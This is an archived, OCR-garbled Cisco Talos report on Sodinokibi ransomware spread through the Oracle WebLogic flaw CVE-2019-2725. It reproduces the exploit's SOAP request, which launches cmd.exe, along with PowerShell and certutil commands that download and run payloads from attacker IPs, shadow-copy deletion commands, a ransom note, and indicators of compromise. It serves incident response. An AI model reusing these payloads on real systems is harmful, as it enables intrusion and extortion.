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Sodinokibi ransomware exploits WebLogic Server vulnerability

By Cisco Talos

Published: 2019-04-30 - Archived: 2026-04-05 15:41:15 UTC
Tuesday, April 30, 2019 14:00

By Pierre Cadieux, Colin Grady, Jaeson Schultz and Matt Valites.

Attackers are actively exploiting a recently disclosed vulnerability in Oracle WebLogic to install a new variant of
ransomware called "Sodinokibi." Sodinokibi attempts to encrypt data in a user's directory and delete shadow copy
backups to make data recovery more difficult. Oracle first patched the issue on April 26, outside of their normal
patch cycle, and assigned it CVE-2019-2725. This vulnerability is easy for attackers to exploit, as anyone with
HTTP access to the WebLogic server could carry out an attack. Because of this, the bug has a CVSS score of
9.8/10. Attackers have been making use of this exploit in the wild since at least April 17. Cisco's Incident

Response (IR) team, along with Cisco Talos, are actively investigating these attacks and Sodinokibi.
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Initial stages of the ransomware attack occurred on April 25, the day before Oracle released their update. This was

a trial to see whether the server was exploitable.

Page 2 of 8



https://blog.talosintelligence.com /2019 /04 /sodinokibi-ransomware-exploits-weblogic.htm|

- - e
|O =« ‘Wireshark - Follow TCP Stream (tcp.stream eq 53)

POST F_async/AsyncResponseService HTTRA1.1

HosL:

Connection: close

Accept-Encoding: geip, deflate

Accept: text/himl, application/xhimlexnl, applicacion/xnl q=0.9,"/";q=0.48

User-Agent: Mozillass.@ (Windows HT 18.8; Winbd; x84; rv:55.8) Geckos20180101 Firefox/55.8
ACCEpT-Language: Zh-CH, Zh;o=0. &, en-US;q=0.5, en;0=0.3

cache-control: no-cache

Cookie: sidebar_collapsedsfalse

XsEorwarded-For:

Upgrade - Ins=cure-Reguests: 1

Content-Type: text/=ml

Content -Length: 1832

WL-Froxy-Clienl-IF: 268.58.176.183

<soapeny :Envelope xmlns:soapenv="http:f/schemas smlsoap. argfsoapfenvelopes/™ snlns:wWsa="http:/fwwe Wi orgs 280564 addressing®
LG L ASY="RLLR S v, Dl CORSASYNC/ ASYNICRES pONSESErviCe™ “EOApENY [ Headers
owsaActlon=Nk</wWsatAct lonzowsa: RelatesTossx</wea RelatesTor<work WorkContext xmlns iwork="http://bea.com’ 280484/ sonp/werkarea “><java
wersion="1.4.8" class="java.beans . RMLBecoder™=
“void class="java,lang.Processbullder >
<array class="java.lang.String” length="3"z
“woid index="0"=
sstraing=cml.exe</string>
=fwoid=
wwold index="1"»
estringsfoefstring>
< wold=
awpld index="32"=
<string=net time Sdomain >
iR ru‘slsfm}rﬁﬂvarftwf_ﬂ_lntelnal fea_wlsd_async_respansesaipkyssear edTebbaedfTa7 1 26022 2e@3eddbadic . icocssTring>
</woid=
CFATFaY>
awpid method="start"/></void>
=/ javax
</work WarkContext=</soapeny : Header=<soapeny | Bedy><asy:enAsynche Livery/ =< soapeny : Body=</soapeny i Ervelope=HTTR 1.1 202 Accepted
Connection: close
Date: Thu, 25 Apr 201% 10:45:02 GMT
Content-Length: @
X-Powered-By: Serviets2.5 JSP/Z2.1

| Packet §550. 4 clené phix, 3 sanver ity ¥ fums Cck fo sehet.

Entire conversation (1,715 bytes) o Show and save data as  ASCH - Stream 53
Find: Find Mext
Help Filter Gist This Stream Print S a5, Beack Close

April 25, 2019 activity showing the initial activity preceding the ransomware deployment.

On April 26, 2019, the attackers made an HTTP connection to a different vulnerable server, requesting the

AsyncResponderService of the Oracle WebLogic Server.

POST f_nsyns/RaynchesponseSe sy ice HTTPA.1

Hostr

Connection: kesp-alive

Accept-Encoding gzips deflate

Areept: wfe

User-&gent: Morillas5.8 (Macintosh; Intsl Mac 05 X 18_12_G) Applessb®it/537.36 (MHTML, like Geckol COhroee/63,8,3239,84 Safari/537,36
Conteat=Typa: Taxt/sml;charset=UTF=8

Content-Length: 1129

¥=Feruarded-Far:

WL-Frasy-Client-IF:

<spapenyiEnwelope =minsiseapeny="http:/ schemas. xelsoap. orgfsoapfenve lopes™ sninsiwsa="htip: fwws w3, 0rg/ 2005/ 88 /addressing” amlnsiasy="httpiss
e, Bbar . comfasynesAsy neies pansedervices
<soapeny:Headers
S KT D i AL T DT
wsatRelatesTosux</weaRelatesTo-
swarkzAnrhontext walnsiwork="RTTp! //Bea. cony 2884,/ 8 /coapworkarea/ "=
<void class="java, lang. Processtuildert's
=array class="java. lang.String™ length="3"=
=void indes="@"=
=i ringecmdey/strings
<#void>
wvold index="1%s
<string=foe/string=
wduaide
=void indes="2%
=Etringeporaershell. coe wget BUTp: /r45.55.211. 79 cachefuntitled.exe —outfile ATEMPS/untitled. exsbanp)cmd. exe Fo ATEMPRY
wuntitled, execsstrings
Vol
<rfarray=
wvild BEThod=" STArt™ e undde
afworkiwWorklontext>
= fsoapenv: Header=
<sappeny s Bod
wacy! onAsynchelivery,/
<fsoapenv: Hody=
«/scapenv: Envelope=HTTP/1.1 282 Accepted
Dpte: Fri, 26 Apr 3919 28:51:45 GHT
Contemt=Lengith: @
K-Poweread-fy: Servlers2.5 JSes2,1
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Activity from April 26. The attackers are downloading the Sodinokibi ransomware.

Historically, most varieties of ransomware have required some form of user interaction, such as a user opening an
attachment to an email message, clicking on a malicious link, or running a piece of malware on the device. In this
case, the attackers simply leveraged the Oracle WebLogic vulnerability, causing the affected server to download a
copy of the ransomware from attacker-controlled IP addresses 188.166.74[.]218 and 45.55.211[.]79. The

188.166.74[.]218 TP address is also home to a pair of other malicious domains unrelated to this ransomware

attack: arg0s-col[.]uk, which is likely a phishing domain, and projectstore[.]guru, a domain with bogus PDF-
related Google search results. The other IP, 45.55.211[.]79, hosts a pair of legitimate Chilean domains, and
appears to have been infected and repurposed by the attackers. The attackers were ultimately successful at

encrypting a number of systems during this incident.

Cisco IR Services and Talos observed the attack requests originating from 130.61.54[.]136. The HTTP POST
request contained arguments to a cmd.exe instruction — a PowerShell command to download a file called

"radm.exe" from host 188.166.74[.]218, then save that file locally and execute it.

cmd /c powershell.exe wget http[:]//188.166.74[.]218/radm.exe -outfile % TEMP%/radm.exe&cmd.exe /c
%TEMP%\\radm.exe
In addition to PowerShell, we also observed the attackers creatively passing the certutil utility to cmd to download

a file:

cmd /c cmd.exe /c certutil.exe -urlcache -split -f http[:]//188.166.74[.]218/radm.exe
%TEMP%/radm.exe&cmd.exe /c %TEMP%\\radm.exe

Once detonated in Threat Grid, the sandbox identified this sample as potential ransomware.

Behavioral Indicators

£
+  Title Citegarien ArTacH O Taga Hits - Srn -
%  Ransomware Backup Deletion Detectod ransomwang COMECUNd, Malwan, Mnsomsas 2 “
> Geravic Ransomwan Detecied mnsemwan TRlwiog, FarSonTeEe i ﬂ
B Aty FOTBGITIWAT Fekhaisn 1 “
- wasnng dilenss peasen erple, fi, fystam 2 1600
» amiyenes antvins, file 2 =5
> F dyramic-anomaly PIDCESS, MNSom, registry, scaewane 1 -]
- 1Ay WABKNINg ABENSE CVISION, DIFEISKENCE  SySIEM, Systam modification 1 —
= W ditginged avasion, parssknes  Syalem, syaienm moedification i n
» E ankantian tha, medifed, aancion, thebakd 1 (-]
3 Pocess Modifisd File ina User Dissctory dyramic-aromaly sxecutabls, file, process 196 56
%  Gommand Exe Fie Exscution Cetecied rfcrmation sancfion reale, o, lounch, process 1
) Process Uses Very Larsge Command-Line dyramic-anomaly detense evascn cmaline, process 1
5 F

clion Delecte code-inecten delense avasion ROy B

»  Exacunabla eoriied Thein [ Dabing e iPrichir Syrnbel formnation artfact, impon, PE, procass, atalic

* Indisatas behandonl indcatar his o calagony with type “mabsare®, When sorting by scons, thess are grouped s most sigrificant

The website VirusTotal successfully detected the same binary hash on 43 out of 71 different engines.

Below, we can see the malicious file "untitled.exe" using "cmd.exe" to execute the vssadmin.exe utility. This

action is a common tactic of ransomware to prevent users from easily recovering their data. It attempts to delete
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default Windows backup mechanisms, otherwise known as "shadow copies," to prevent recovery of the original

files from these backups.

() Process () Process with additional activity () Sample process

cmd.exa Yy
2 - unlitled axe O I‘a—f’ 19 - yssadmin s

File Activity: 0
Regisiry Activity: 0

0
F- caras axn l"\—) 10 - conkos axe
D & = gvchos ang
Ty DE - svchost ane
S 11 - I5m e
¢ O
8- svchostoe L 24 DM e

O? - gvchost e

.f_:,
' 12 - taskhost. cu

13 SAMVORs.axn C)

(T
b 14 - gurhDBLENE
_r"\l
Y 15 - WARIGGON 00
."_}
,:_} e 16 - suchoslaxe
start ./_)
S 1T - W A
Ty
7 -cmd.axe Parent: 2 - untitled.exe File Actions: O Registry Actions: 0 Children: 1 x
Process Name cmd.exe Started At Sun, 28 Apr 2019 16:59:08
Image Filename C:\Windows\SysWOWed\cmd.exe uTe
Anﬂlll'ﬁi.ﬁ Reason Parent is heing ﬂr‘-ﬁlff'?ﬂ'd Current D“‘!}E’lﬂl‘y CATEMPY
Command Line  “CWindows\System22\cmd. exe” Image Base Address -
fc vssadmin.exe Delete Shadows Window Title CAWindows\System32\cmd.e
fAll /Quiet & bededit fset [default) xe
recoveryanabled No & bededit /et Shell Info .
default} bootstatuspolic
{defaul} bootstetuspolicy Desktop Info Winstath\Default
ignorealifailures
Children 19 (vasadmin.exe)
New true

The ransom note, in this case, directs victims to either a .onion website on the Tor network or on the public web at
the domain decryptorf.]top, registered on March 31 this year. With Sodinokibi, each encrypted system sees a
distinct encrypted file extension. The ransom note filename also includes this extension as a prefix (ex. 88f2947s-
HOW-TO-DECRYPT.txt).
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Hello dear friend!

Your files are encrypted, and, as result you can't use it. You must visit our page to get
instructions about decryption process.
All encrypted files have got B8f2947s extension.

Instructions into the TOR network

Install TOR browser from https://torproject.org/
Visit the following link:
http://faplebzudTwgazapdgksévrcvbzenjppkbxbréwket f56nT6aq2nmyoyd. onion/4813C4F998B6BEIC

Instructions into WWW (The follewing link can not be inm work state, if true, use TOR abowve):
Visit the following link: http://decryptor.top/4813C4F998BGEEIC

Page will ask you for the key, here it is:
wOpDS5d0EdOSS3tIC45 jDHSYYIgTEYUKGmU ] 8ISDQy ] fSehkKRPxphia G/ wXkw5E
zz1X3sgIZdwl0gQD78gXmFf 16BM]sqGI078EXVLkp70bDXCCITSETLS0Da3PgLWu
elblLgdvIl@2bAnIgSayLUSHWILHWIRSI0grE@IBKDTXkTCEI0WUT rF3+hB1yGRHK
WIXSiNG64320ZEI/3g0tneSspubhFyzLm+4TYcMEXZVS3sBj9ZZBvpEBRr I/ pGsdy
NjFEGBKB1Idwi6YtTOudTEXAS pB+CyI1lDFngeFqdiUv]Swhima imXL+LvvmSdzNZcE
c7sVTjFNWgYGngEIxy6mXra7laEzZ 1000 IK1xALhK3ZuiGB144M)vcEhBTLqTY41
ZXym2winIVUVkeC2HFks LKTsMHXTrocl 5421/ LTvoyrlgCalv/svH9s6TIeAuddo
xbFQTN+RLOOoWINOU+giuiNSoh0Yuz3CazCjjg3VZCrFQB16dDS2x521KEq4n0gr
2qBgjdkRrkASuiDctpG2nR1TqBYTzcg55s6akbsd+zapviqSTlgPplZQVZtsZwEM
1Tpel3b+r7 fRIIAY zkYVIkrubZe9QkdnYGv/uAlKobF i80gHImLB1BsL r@7 Lx+mr
BFHVgnTBc fvEDLe9Z35F5t LBBkMOysYD1i3dUTbx1evbhhYAt9dKOP11PhsAMydLm
HUxRw]/ntUel1EtocFKnULPTR1s rE2omd2hwFTpBfBVU4C jaZ to3Md1bZVACLZa/
KBScaaMDcUDNpx331V56ICxqpTHS ] IM37 1 pDIWgYhrxf7ExQd+dATPC/ zZAOWETL
PILVpDUWC t Lk /LZgl0+e535YL/ zn7 5z SHMARXYKNw,/ YNDSvt2 iwgocPqlONIJultn
rAWNSNnXT/ jvtolWs rtSgyyqThFMQBRIE6TIUSh3I3R3LbNpOgnTdBs33B211IA0In
tC4TAubYn@01LPUFTCOIDIEcHQapGNNpulI4bhFy@VPeFQihGBGND1KaSThbIED H
rxII9snbRasI/TOWlZabXfItdW2UhTPSIriQdIIQuaFWZOnid]iincETsI1IwTx3]
klIsbrDQ@@eCL7?dmoSNWgEnZtaf48)yYxUkBDudtdvWvRYZAEmk3hgHtExWYQYdz
71 DGhMyWBBNmIO0/ 2qyyqBX TEMUEQgbLxFyyQthNSDMy TH]==

The Gandcrab affiliate connection

After finishing deploying Sodinokibi ransomware inside the victim's network, the attackers followed up with an
additional CVE-2019-2725 exploit attempt approximately eight hours later. However, this time, the attackers
chose to distribute Gandcrab v5.2. We find it strange the attackers would choose to distribute additional, different
ransomware on the same target. Sodinokibi being a new flavor of ransomware, perhaps the attackers felt their

earlier attempts had been unsuccessful and were still looking to cash in by distributing Gandcrab.
Conclusion

This attack is notable because of the attackers' use of a zero-day exploit to distribute ransomware. Whereas
previously we have witnessed ransomware attackers taking advantage of unpatched systems to install and laterally

propagate ransomware, this zero-day exploitation method could work on otherwise fully-patched systems.

The victims in this ransomware attack were able to activate their Incident Response Retainer with Cisco IR
Services, and they received immediate support and advice on managing the incident. Immediate actions taken

likely prevented a more significant outage.

Due to the ubiquity of Oracle WebLogic servers and the ease of exploitation of this vulnerability, Talos expects
widespread attacks involving CVE-2019-2725, and we recommend the following actions. Any number of layered

controls could prevent or otherwise deter this type of attack, including:

e Patch WebLogic as soon as possible against CVE-2019-2725.
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e Log and centrally collect web, application, and operating systems events.

» Restrict the access of the account used to run the WebLogic process

e Monitor for signs of compromise:

o Egress network communications from data center systems.

e Ransomware "Canary" files.

e External HTTP POSTs to new URIs.

e Web shells.

o Unexpected activity of service/system accounts (WebLogic user).

e Scan for, understand, and mitigate your vulnerability posture.

e Restrict egress Data Center communications.

e Segment the network for defense and monitoring.

e Control URL access (in this case external access to "/_async/*" and "/wls-wsat/*").
 Plan for Disaster Recovery, including maintaining and testing data backups and recovery.

e Configure PowerShell to execute only signed scripts.

Indicators of Compromise (Io0C)

Ransomware samples:
0fa207940ea53e2b54a2b769d8ab033a6b2c5e08c78bf4d7dade79849960b54d
34dffdb04ca07b014cdaee857690f86e490050335291ccc84c94994fa91e0160
74bc2f9a81ad2cc609b7730dbabb146506f58244e5e655cbb42044913384a6ac
95ac3903127b74f8e4d73d987f5e3736f5bdd909ba756260e187b6bf53fb1a05
fa2bccdb9db2583c2f9ff6a536e824f4311c9a8a9842505a0323f027b8b51451

Distribution URLs:
hxxp://188.166.74[.]218/office.exe
hxxp://188.166.74[.]218/radm.exe
hxxp://188.166.74[.]218/untitled.exe
hxxp://45.55.211[.]79/.cache/untitled.exe

Attacker IP:
130.61.54[.]1136

Attacker Domain:

decryptor].]top
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